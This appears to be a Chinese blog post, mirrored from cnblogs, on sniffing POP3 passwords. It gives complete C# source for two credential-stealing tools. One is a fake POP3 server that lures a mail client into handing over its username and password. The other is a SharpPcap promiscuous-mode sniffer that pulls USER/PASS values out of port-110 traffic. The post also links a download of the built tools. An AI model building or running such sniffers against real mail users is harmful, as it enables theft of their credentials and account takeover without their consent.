zoukankan      html  css  js  c++  java
  • pop3密码嗅探

    成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载

    来说下pop协议,

    英文版,https://tools.ietf.org/html/rfc1939

    中文版,http://www.cnpaf.net/class/pop3/200408/122.html

    pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。

    这里说下2种获取密码的方式:

    1. pop协议分析
    2. pop数据包分析

    () pop协议分析

    pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。

     

    http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.

    里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.

    如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。

     

    代码 如下,就是复制别人的(^_^)。

    using System;
    using System.Net;
    using System.Net.Sockets;
    using System.Text;
    
    namespace ConsoleApplication1
    {
        class Program
        {
            static void Main(string[] args)
            {
                try
                {
                    IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110);
                    TcpListener tcpServer = new TcpListener(ipEndPoint);
                    tcpServer.Start();
                    TcpClient tcpClient = tcpServer.AcceptTcpClient();
                    NetworkStream ns = tcpClient.GetStream();
                    byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎
                    ns.Write(outbytes, 0, outbytes.Length);
                    byte[] userBytes = new byte[255];//密码存储
                    ns.Read(userBytes, 0, userBytes.Length);
                    string capa = Encoding.ASCII.GetString(userBytes);//
                    if (capa.IndexOf("CAPA") >= 0)//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单
                    {
                        byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine);
                        ns.Write(capaByteArr, 0, capaByteArr.Length);
                        ns.Read(userBytes, 0, userBytes.Length);
                    }
                    outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
                    ns.Write(outbytes, 0, outbytes.Length);
                    byte[] pwdBytes = new byte[255];
                    ns.Read(pwdBytes, 0, pwdBytes.Length);
                    string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("
    ", "").Replace("", "");
                    string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("
    ", "").Replace("", "");
                    tcpClient.Close();
                    Console.WriteLine(string.Format("用户名:{0}
    密  码:{1}",user,pass));
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
                Console.ReadKey();
            }
        }
    }

    然后设置下pop的服务器为127.0.0.1。 端口110,非加密传输。

     

    收发下邮件,结果如下

     

    ()pop数据包分析(这里讲的多)

    Pop3是基于TCP协议的,那来说说它的结构。以太网包头+IP包头+TCP/UDP+内容 4部分构成。

     

    四种以太网数据包详解

    Ethernet II协议,(pop3用的这个)

    Ethernet 802.2协议,

    Ethernet 802.3协议(IPX/SPX协议)

    Ethernet SNAP协议,

    说下POP3的数据包。

    Ethernet II协议部分, 由6字节目标mac地址,6字节源mac地址,2字节协议类型构成,共14个字节

    IP协议部分,由20个固定字节与40个可变字节构成,内容太多,大家去百度就好。IP地址就在这里,POP3里没有扩展内容,所以就是固定20字节。

    TCP协议部分,依然是20个固定字节作为首部,TCP报文首部的最大长度是 80字节。选项部分为MSS( Maximum Segment Size 最大报文段长度,以太网默认为1460)。MSS=TCP报文段长度-TCP首部长度,所以1460不是确定值

     

    这里有源端口号与目的端口号(占2字节)分别是目的端口号(占2字节),就在头文件里。

    内容部分,就是ascii码。

    来说思路:

    1.  只查看端口为110的包.(为因默认在第38个字节)

    2.  如有”USER”的包记录下用户名,如果有”PASS”的包,记录为密码。

    这里用的是C#语言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下载。

    需要安装wincap(百度下就能下载到)。

    引用PacketDotNet.dll,SharpPcap.dll。 结果如下。

     

    代码如下:

    using System;
    using System.Text;
    using SharpPcap;
    using SharpPcap.LibPcap;
    
    namespace ConsoleApplication2
    {
        class Program
        {
            static string userName = string.Empty;
            static CaptureDeviceList devices = CaptureDeviceList.Instance;
            static ICaptureDevice device;
            static void Main(string[] args)
            {
                try
                {
                    getAdapter();
                    Console.WriteLine("");
                    Console.Write("请选择网卡编号:");
                    string macIndexStr = Console.ReadLine();
                    
                    int macIndex = int.Parse(macIndexStr);
                    Console.WriteLine("编号为:"+macIndex+",开始监听...");
                    devices = CaptureDeviceList.Instance;
                    device = devices[macIndex];
                    device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
                    int readTimeoutMilliseconds = 1000;
                    device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
                    device.StartCapture();
                    
                   
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
                Console.ReadKey();
            }
            private static void getAdapter()//获取网卡 
            {
                int macIndex = 0;
                var devices = LibPcapLiveDeviceList.Instance;
                //var devices = WinPcapDeviceList.Instance;
                //var devices = CaptureDeviceList.Instance;
                if (devices.Count < 1)
                    Console.WriteLine("此设备上没有网卡");
                else
                    foreach (var dev in devices)
                    {
                        Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName);
                        macIndex++;
                    }
            }
            private static string HexArrToAscii(byte[] s)
            {
                StringBuilder sb = new StringBuilder();
                foreach (byte b in s)
                {
                    char c = (char)b;
                    if (!char.IsControl(c))
                    {
                        sb.Append(c);
                    }
                    else
                    {
                        sb.Append('.');
                    }
                }
                return sb.ToString();
            }
            private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
            {
                var pData = e.Packet.Data;
                if (pData.Length >= 37)
                {
                    if (pData[37] != 110)   //如果不是110 端口,则不记录
                    {
                        return;
                    }
                }
                string hexStr = HexArrToAscii(pData);
                char[] packetArr = hexStr.ToCharArray();
                if (packetArr.Length >= 54)
                {
                    for (int i = 0; i < packetArr.Length - 2; i++)
                    {
                        if (packetArr[i] == 'U' && packetArr[i + 1] == 'S' && packetArr[i + 2] == 'E' && packetArr[i + 3] == 'R')
                        {
                            int passLength = packetArr.Length - i - 3 - 2; //i + 3长度是数据包头,2长度是控制符
                            char[] userArr = new char[passLength];
    
                            for (int j = 0; j < passLength - 2; j++)
                            {
                                userArr[j] = packetArr[i + 3 + j + 2];
                            }
                            string resultPass = new string(userArr);
                            userName = resultPass;
                        }
                    }
                }
                if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57)
                {
                    for (int i = 0; i < packetArr.Length - 2; i++)
                    {
                        if (packetArr[i] == 'P' && packetArr[i + 1] == 'A' && packetArr[i + 2] == 'S' && packetArr[i + 3] == 'S')
                        {
                            int passLength = packetArr.Length - i - 3 - 2;//i + 3长度是数据包头,2长度是控制符
                            char[] passArr = new char[passLength];
    
                            for (int j = 0; j < passLength - 2; j++)
                            {
                                passArr[j] = packetArr[i + 3 + j + 2];
                            }
                            string resultPass = new string(passArr);
                            Console.WriteLine();
                            Console.WriteLine(string.Format("用户名:{0}
    密  码:{1}", userName, resultPass));
                            return;
                        }
                    }
                }            
            }
        }
    }
  • 相关阅读:
    Windows核心编程 第八章 用户方式中线程的同步(下)
    Windows核心编程 第八章 用户方式中线程的同步(下)
    Windows核心编程 第八章 用户方式中线程的同步(上)
    Windows核心编程 第八章 用户方式中线程的同步(上)
    Windows PE 第四章 导入表
    Windows PE 第四章 导入表
    PAT 1005 继续(3n+1)猜想
    PAT 甲级 1002 A+B for Polynomials
    HDU 1798 Tell me the area
    HDU 1159 Common Subsequence
  • 原文地址:https://www.cnblogs.com/likehc/p/10140174.html
Copyright © 2011-2022 走看看